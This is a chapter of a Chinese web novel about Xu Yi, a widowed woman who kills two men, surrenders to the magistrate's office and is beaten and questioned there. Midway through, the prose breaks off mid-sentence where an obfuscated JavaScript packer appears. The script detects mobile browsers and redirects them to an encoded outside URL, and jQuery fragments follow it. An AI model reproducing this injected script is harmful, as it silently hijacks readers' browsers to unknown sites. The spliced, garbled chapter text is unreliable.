默认冷灰
24号文字
方正启体

20. 天落雪

作者:梧弋本书字数:K更新时间:
    “自个屁啊!”沈大娘听见这话就来气,扶着徐宜一路小跑,她累得气喘吁吁,“我说你是不要命了,王屠夫我就先不说,曹公子你是怎么敢去杀的?他可是郡守大人的独子,曹闽对他要多溺爱就有多溺爱,无数女子因他而死,无数百姓伸冤,可他还是能活得风流自在。”


    她刚刚停下,弯腰检查了下徐宜的身体,伤口不深也不致命,只是血还在往外浸,青灰色衣裳也遭了殃。至于里襟上的血应当是她自己抹上去的。


    徐宜脸色发白,垂眸小声说:“我就是看不惯他。”


    “看不惯,看不惯的人多了去了。怎么,你要都杀啊?”沈大娘见怀中的女子皱着眉忍痛的样子,就气不打一处来,“也不是大娘说你,你杀人就杀人,怎么还留下把柄被长吏府的人知晓了?你这伤口……不管怎么样,我还是先将你给带到医馆里去。”


    灰色衣裙下的双腿垂落,徐宜扯住妇人的臂膀,身子往外挣,待到妇人受不住力停下来,她才摇摇头,咬牙说:“我不去医馆。请大娘您带我去长吏府。”


    “你这姑娘……怎么回事。”妇人一跺脚。“他们在通缉你哪!如今去长吏府岂不是自投罗网?况且那老长吏跟郡守一样,也不是个好东西。”


    “我知道。”徐宜恹恹抬起头,眉目平静地说,“本来我能跑的。”


    沈大娘将衣袖给挽上去,作势要来抱徐宜走。女子却退后几步,大娘扑了个空,因此有些恼怒地道:“徐宜你不要犟,听我的!”


    天色渐阴,湿气重重地压下来。远方的山青色也逐渐被大雾完全吞噬。只有近处的几间黑瓦片屋子还耸立在街上,偶有三两行人经过,不过他们都没有察觉到这边的情况。


    沈大娘瞪着女子,想要强行带走她。此刻女子却冷不丁地发问:“您看见告示栏上那些画像了吗?”


    “看到了。”沈大娘硬邦邦地答。


    “好看吧?”徐宜捂着还在流血的伤口,缓缓走到屋檐前,靠着身后的墙角跌坐下来,然后轻轻地笑了一下,继而说道。“那上面的我可真好看。”


    沈大娘:“……”那可是通缉令!要人命的通缉令哪!


    真是疯了。


    她怎么早没察觉到徐宜的不对劲,自从京中回来她就变得沉默寡言,也不再去砚山打猎了。最初沈大娘没觉得有什么,徐宜的那匹棕马生前就待在砚山中的寺庙里,她进山打猎便会触景生情。哪曾想过了两年了,她还是不肯迈进砚山半步,反倒是去清和郡找了份在酒馆的零工来谋生。


    还有她那些长得与言三相似的情郎……


    现在想来,这姑娘根本没有走出来。她一直将死去的夫君和那匹驽马放在心上,以至于她要剁了王屠夫的手,现在更是张狂肆意,这次她直接干脆地将王屠夫和郡守公子两人给杀死了。


    “大娘您不用担心我。我与老长吏大人说好了的,曹柏那玩意儿害死不少人,长吏府中积攒了好些案子,都与他有关,也都没有沉冤昭雪。所以我杀曹柏是替天行道,百姓不会抗议,老长吏也不会捉拿我,这些都是曹柏他应得的。”徐宜一双黑白分明的眼睛睁大了盯着妇人,向她认真地解释。“老长吏与我说好了的。他不会擒拿我。”


    过了会儿她似乎是觉得冷,紧了紧身上宽大的青灰色衣裳,再蹭了蹭。闻到衣裳上有一股积压在箱底已久的味道,她的眼神瞬间淡下来。这是她夫君生前常穿的衣裳款式,两年前言三死后,她凭着记忆,在清和郡上找了好几家裁缝店,才做出来这件衣裳。为的就是能给自己留个念想。


    现在这件衣裳已经有一股淡淡的霉味了。


    沈大娘看见她这副模样,悔不当初。这番话看似条理清晰、逻辑缜密,她的计划也是天衣无缝,老长吏由于手中与曹柏有关的陈年旧案太多,他良心不安便想着与徐宜合作,徐宜负责杀人,他就负责开脱罪名。


    可无论怎么看,在这计划中徐宜始终都是吃亏的那一方,老长吏想追究便追究,不追究便不追究。生杀予夺,都是他说了算。老长吏守信还好,如若他不守信呢?


    况且老长吏在位这么多年,见了冤案向来都是马马虎虎,对郡守更是唯命是从,由此他才坐稳的长吏之位。这样的长吏,当真会有良心吗。


    这姑娘是根本就没有考虑过……自己的性命啊。


    沈大娘思虑良久,心早已沉入渊底。面前的女子那般坚决,如今事情也已发生,她没有退路了。妇人只能一抹眼泪,背过身子哽咽了会才说,“行。反正大娘如今也是管不了你了。”


    *


    长吏府中。冷风从堂前袭过来,吹得桌几上的泛黄纸张哗啦啦一片响,浓郁的墨香缭绕在屋中,倒是添了几分古韵雅致。


    “郁公子哪,真是劳烦你了!”


    头发斑白的老人大踏步跨过了门槛,边走边念着。他脸上长满了老人斑,细长的鼻头横在脸庞正中,看着有些滑稽。见到屋中的年轻公子悠然执笔,俯身还在勾勒画卷,他就疾步向前猛地摆手,“郁公子。不用再画了,不用再画了。”


    郁故行听了,搁下笔,淡淡地瞥他一眼,好心提醒:“李荻,你已经卸任了。在下是奉北山王之命来的长吏府,无论如何,也该唤我一声大人。”


    老人的眼中闪过一丝精明的光,可转瞬就消逝不见。他微微躬身行礼照做也照喊,“长吏大人。”


    “等我画完这一幅,我们就去审讯犯人。”郁故行点点头,然后说道。


    他的声音温和动听,仿佛柳枝尖尖上跳动着的日光,带着些暖意。尾音极轻极浅,“犯人”二字明明阴险、露骨,却被他咬得莫名有些缱绻的意味。


    李荻:“好。只是犯人现在身子虚弱,快要晕死过去了。大人需画快些,才能审讯得到她。”


    郁故行蓦地抬头,反应过来轻声说:“那就先让医者简单处理下。”


    李荻听到这话沉默了好一会儿才答了个“是”字。他的目光沉沉,隐隐有凶气藏在其中,最后才缓缓踱步离开。


    窗外又掀起一阵风。


    郁故行敛了眉目开始提笔、俯身作画,他手上的动作极尽轻柔,笔触也足够细腻生动。不一会儿,女子姣好灵动的相貌就跃然纸上,画上的女子长发及腰,眉目清雅似玉,其间又不乏几分英气。画得实在太美了。


    美到仿佛画的不是被通缉的犯人,而是慕艾已久的……心上人。


    桌案上还放着许多这样的画作,有的被吹落到了地上,从窗外打下来天光不少,尽管如此屋里还是陷入一片混沌。只模糊可见年轻公子皱起的眼眉。


    郁故行久久审视着他手下的画作。


    这些是他按照证人托词和描述来画的。两日前,王屠夫死在西南长街应援铺子里,郡守公子曹柏死在酒馆里,据证人报官来说,杀他们两人的是同一位女子。明明该是秉公处理、不掺杂任何私人情绪的。可自他落笔,手上的动作总是不可避免地轻柔起来。


    画上的女子面目太过陌生了。陌生到仿佛有人为他抹去了关于她的记忆,只留下一道生硬的痕迹。


    “长吏大人,人醒过来了。”屋外传来李荻的声音,“可以审了。”


    指间的笔猝然掉落,郁故行晃神了会,随后便恢复过来,眼中霎时就染上了嘲弄的笑意,他摇摇头然后淡声道:“将人带过来罢。我来审。”


    松木门敞开,照出了屋里的大片光华。风又起,桌上的黄纸纷纷飘起随后又似枯叶子一般打着旋儿坠落。


    紧接着,徐宜就被三两侍卫扣住手肘和腰身给带着走了进来。


    刚被人浇了冷水,她浑身上下都是湿黏黏的,颊边的发丝紧紧贴合,青灰色的衣裳也被打湿了,于是就将她的身子给紧紧包裹住,密不透风。长睫上挂着未干的晶莹水珠,徐宜不舒服地眨了眨眼,脊背上却骤然传来剧痛,她被侍卫们驱使着跪了下来,“咚”的一声额头砸地,清脆又响亮。


    昏昏沉沉的,脑袋重得她快要抬不起头来。腹下的伤口没有处理好,又被泼了冷水,现下正在慢慢浸血。她痛得皱紧眉头,又快要昏睡过去。此刻书卷混着墨水的冷香味却没入鼻息之间,她喘着气,抬眼就要去打量周遭的一切。


    还未来得及动作,长矛就又落在她的脊背上。


    她身形踉跄了一下,猛地往前倾,吐出一口血水。血丝根根蔓延,就溅在不远处掉落在地的画作上。


    李荻站在边上,沉着一双老眼满意地看着她。谁曾想这女子俯着身子,还是侧过眼来看她,目光带了一股狠劲。他被看得一耸身子,连忙往后小退几步,再向她啐道:“你这亡命之徒,看什么看,再给我打!”


    郁故行倚坐在条案后,将这一切都看在眼里。他抚挲着画卷上女子的头发,又对面前的女子生起了好奇。


    她与自己所画的,当真是……别无二致的同一个人么?


    “仰头。”郁故行眯起眼眸,颇有些居高临下地打量着女子。


    正堂里本寂静无声,除了画卷清脆的翻折声和偶然的几丝风声就再无其他。这声命令的语气浅淡得快要沉寂,但却不容拒绝,仿佛阴冷沼泽前不那么显眼的深绿藤蔓,藏着若有似无的威胁和危险,仿佛下一秒就能将行人绊进泥潭里。


    可女子似乎没有听出来这声命令下的胁迫意味,她怔愣在原地不做任何反应。众人却能感受到她的呼吸变得更为急促,吸气声也逐渐变大了。她衣裳上的水渍滴答滴答地砸到地上,愣是在原地围成了一个湿沥的水圈。


    郁故行加重了语气,再唤:“徐宜,抬起头来。”


    “哟,审讯犯人呢——”


    来者是个长相妖魅的青年人,狐狸眼睛微微上挑,眼尾长了颗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232322|164543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    棕色的痣,更显得贵气、出挑。他穿着华贵的紫色长裳,摇着把白团扇,缓步走来,话挂在嘴上没停过,仿佛唇齿生香。“没想到郁大人上任的第一天,就有大案子要解决呀?”


    “……你来做什么?”郁故行冷眼看着他,话里话外都是在表示对他这个不速之客的不欢迎。


    张渠微微一笑:“自然是来替我父亲把关的,看看你能否胜任长吏一职。”


    他缓步走至徐宜的身边,垂眼看了眼她,似有意外地挑起眉头,嘴角的弧度倒是更深了些,继而又说:“郁公子的这位犯人长得可真是漂亮,不仅如此,她还与您有过不浅的缘分。只是啊……如今却被你这样对待。”


    郁故行倒是很平静:“张渠你发什么疯。”


    徐宜好不容易才从惊愕中回过神来,身体的本能使她感到害怕。她微微侧头去看身前的青年人,紫色长裳与她记忆之中的公子两相重合。还有那张脸庞,她永远也忘不掉。当年在山中打猎,就是这位紫衣公子,他明明知道自己是人而非猎物,却还是拉弓射下那一箭,险些要了她的命。


    幸好一位好心人救下了她。


    可惜她不记得救她的那位少年郎的样貌了。只模模糊糊记得他长得温润好看,气质甚为清雅,仿佛可以抚平人内心所有的焦躁和不安。这种感觉与自己的夫君太过相似了,她后来疑心言三就是那位少年郎,可她问了言许好几遍,言许都摇头轻轻笑着说不是他。


    记忆接踵而至地涌过来,像洪水一般要将她的脑袋给撕裂开。


    徐宜甚至不敢抬头看面前的这位所谓的郁公子、郁大人。他的声音简直与言许如出一辙,她之前认为卫良书的声音已经算是极为相似了,可如今这位郁公子比卫良书的更像也更接近,仿佛他就是言许,就是自己的夫君。


    从他们的话语之中可以听出来,这位郁公子是清和郡新来的长吏,当年射了她一箭的紫衣青年则是京中更大的人物,位高权重,比他更胜一筹。如今她自己的处境也极为糟糕,老长吏果然如她所料般不守信用,知道她手中有他贪污受贿的把柄,迫切地想要她死。


    但这些都无所谓,徐宜的目的早就达到了。王屠夫和曹公子的命都栽在她身上,剩下的就都交给长吏府罢。


    她无力地垂下脑袋,仿佛颈头被折断了似的。乌发湿答答地垂在女子肩膀上,像布匹一般掩住大片脸颊。


    冷。


    冷到她唇齿打颤。慢慢的,外面的天逐渐变黑,阴云一片片地从远方移过来,不一会儿屋中的光华就暗淡下去。


    徐宜控制不住地打了个喷嚏。下一秒,她的下颌就被人掐住,那人力气极大,她挣不开。头颈不受控制地往后仰,视线渐渐往上移,她看到了不远处地上、桌案上的那些通缉令,数量极多,画工精湛。霎时纸卷翻飞,她目光凝滞几秒,微微愣住。


    上头画的都是她。


    一眼就能辨认出来。从眼眉、鼻梁骨,再到脸型、下颌,都画得极为准确标致,尤其是眼眉间的勾勒,更添几分神韵。


    这些都是这位新来的长吏大人——郁公子所画么。


    郡里的长街上贴满了这些带有她画像的通缉令,逃命途中第一次看见的时候她就觉得不对劲,这些画作的笔触与自己的夫君太像了。言许婚后曾为她作画,画出的与通缉令上的几乎一模一样,只是神态、眼神略有不同。


    徐宜原本已经快要逃出清和了,却被码头的船夫给认了出来,随后接踵而至的追兵跟来、争斗之时她还被人捅了一刀。那一刀不致命,可她知道自己是逃不出去了,便将计就计地给自己的里襟抹上血,然后来长吏府自首。


    就如沈大娘所说,这是极为冒险的一个抉择。在这个抉择里,她没有将自己的性命给考虑进来,可她没有办法,她已经杀了人,如果老长吏不揭过此案,那她就逃脱不了郡守曹闽的报复。她这样硬撑着伤、不顾危险地就要来长吏府自首,不仅是为了与老长吏、郡守鱼死网破,还留有一点私心。


    她私心还是想看一看做出那般画作的到底是……什么人。


    可如今这人近在咫尺,徐宜却不敢抬头去看他。她反抗得更猛了些,她咬牙使劲往张渠手下压,可她如今的身子和力气到底比不过男子。张渠单手扣住她的两颌,动作看似轻柔却叫她痛得发不出声音来。到最后女子耳畔、脸颊、颈侧的头发都被他给一一撩开,一览无余。她皱起眉目,只能仰起脖颈,往端坐高堂的郁故行看去。


    坏透了。


    她突然觉得自己的行为很蠢,蠢得要命。为什么要因为一副画作就跑过来自首,如今还遭到这样的欺辱。早知是这样,她便在逃难路上一刀了结自己。


    这时不怀好意的声音却响在屋里,张渠用力掐住女子的下颌,轻蔑地直视郁故行的眼睛:“看看罢,郁故行。你还记得她么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)